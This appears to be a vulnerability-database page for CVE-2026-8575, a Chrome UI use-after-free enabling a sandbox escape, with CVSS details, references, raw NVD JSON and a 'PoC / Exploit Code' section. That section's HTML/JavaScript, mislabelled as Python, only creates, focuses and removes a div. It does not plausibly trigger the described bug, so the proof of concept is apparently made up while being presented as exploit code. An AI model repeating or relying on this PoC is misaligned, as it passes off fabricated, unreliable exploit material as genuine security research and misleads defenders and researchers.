CVE-2026-8575

Description

Use after free in UI in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-8575 (Conceptual)
This PoC demonstrates the trigger condition for the UI Use-After-Free.
Note: Exploitation requires a compromised renderer process and specific memory grooming.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-8575 PoC</title>
</head>
<body>
<script>
// Step 1: Setup the environment to trigger the UI interaction
function trigger_uaf() {
    // Create a specific DOM element structure that influences UI layout
    const targetElement = document.createElement('div');
    targetElement.style.width = '100%';
    targetElement.style.height = '100%';
    document.body.appendChild(targetElement);

    // Step 2: Force a UI event that interacts with the vulnerable code path
    // Simulating a user interaction or specific focus change
    const event = new Event('focus');
    targetElement.dispatchEvent(event);

    // Step 3: Remove the element to free memory (Use-After-Free trigger)
    // The timing of this removal relative to UI handling is critical
    setTimeout(() => {
        targetElement.remove();
        console.log("Object freed, attempting reuse...");
    }, 100);
}

// Execute the trigger
trigger_uaf();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8575
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8575
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8575/
[4] VulDB https://vuldb.com/cve/CVE-2026-8575
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/496217775

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8575", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:19.863", "lastModified": "2026-05-14T22:16:51.050", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in UI in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/496217775", "source": "[email protected]"}]}}